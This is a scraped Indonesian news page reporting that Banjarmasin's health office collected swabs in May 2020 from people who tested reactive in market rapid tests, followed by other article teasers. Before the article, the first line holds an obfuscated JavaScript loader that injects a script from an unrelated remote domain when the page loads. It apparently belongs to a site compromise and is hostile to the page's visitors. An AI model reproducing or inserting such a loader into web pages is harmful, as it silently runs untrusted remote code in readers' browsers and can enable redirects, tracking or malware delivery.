(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pasca rapid test di Pasar Sentra Antasari pada Kamis (14/5/2020) dan 6 titik pasar lainnya pada Sabtu (16/5/2020) lalu, Dinas Kesehatan Kota Banjarmasin melakukan pengambilan swab terhadap warga yang dinyatakan reaktif pada hasil rapid test.
Pengambilan swab dilakukan di kantor Dinas Kesehatan Kota Banjarmasin, jalan Pramuka Komplek Tirta Dharma Banjarmasin, Kamis (21/5/2020) pagi.
Kepala Dinas Kesehatan Kota Banjarmasin Dr Machli Riyadi mengatakan, selain dari Dinas Kesehatan Kota Banjarmasin pengambilan swab dibantu tenaga dari Dinas Kesehatan Provinsi Kalimantan Selatan (Kalsel) dan Biddokkes Polda Kalsel. Fokusnya, yaitu orang-orang yang dinyatakan reaktif namun belum sempat melakukan swab.
“Jadi kita melakukan swab secara massal. Karena selama ini orang-orang yang sudah di-rapid test tapi belum swab. Hari ini dilakukan sejak pagi tadi,” kata Machli kepada awak media usai pelatihan kedaruratan Covid-19 untuk wartawan di Dinas Kesehatan Kota Banjarmasin, Kamis (21/5/2020) siang.
Pengambilan swab pada hari ini cukup banyak, dan tentunya hanya dilakukan pada hari ini saja. “Semuanya, termasuk yang kemarin belum sempat dilakukan yaitu klaster Sentra Antasari yang tertinggal, maupun pasar-pasar lainnya yang belum sempat, hari ini kita dihabiskan semuanya,” imbuh Machli.
Sebelumnya, jajaran Dinkes Kota Banjarmasin melakukan rapid test di Pasar Sentra Antasari dan mendapati sebanyak 47 orang reaktif. Ditambah dengan rapid test massal di 6 pasar se Kota Banjarmasin dengan mendapati 129 orang reaktif. Sehingga total ada sebanyak 176 orang reaktif dari hasil rapid test pekan lalu.
“Dari 176 orang itu belum selesai swabnya. Baru 133 orang, jadi masih ada sisa, nah sisa itu yang kita habiskan di hari ini, digabungkan dengan data-data yang ada di Puskesmas,” jelas mantan Wadir Administrasi Keuangan RSJ Sambang Lihum ini.
Sehingga jika ditotal secara keseluruhan antara hasil rapid test di 7 pasar tersebut ditambah data-data di Puskesmas, ada 275 orang yang menjalani pengambilan swab. Untuk mengetahui hasil dari swab, dibutuhkan waktu selama tiga atau empat hari kedepan, karena pengujian PCR (polymerase chain reaction) hanya dapat dilakukan di Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKLPP) Banjarbaru.
“Kita menunggu antrean juga dari Banjarbaru. Biasanya kita mendapatkan hasil itu antara tiga sampai dengan empat hari baru selesai,” pungkas Machli. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.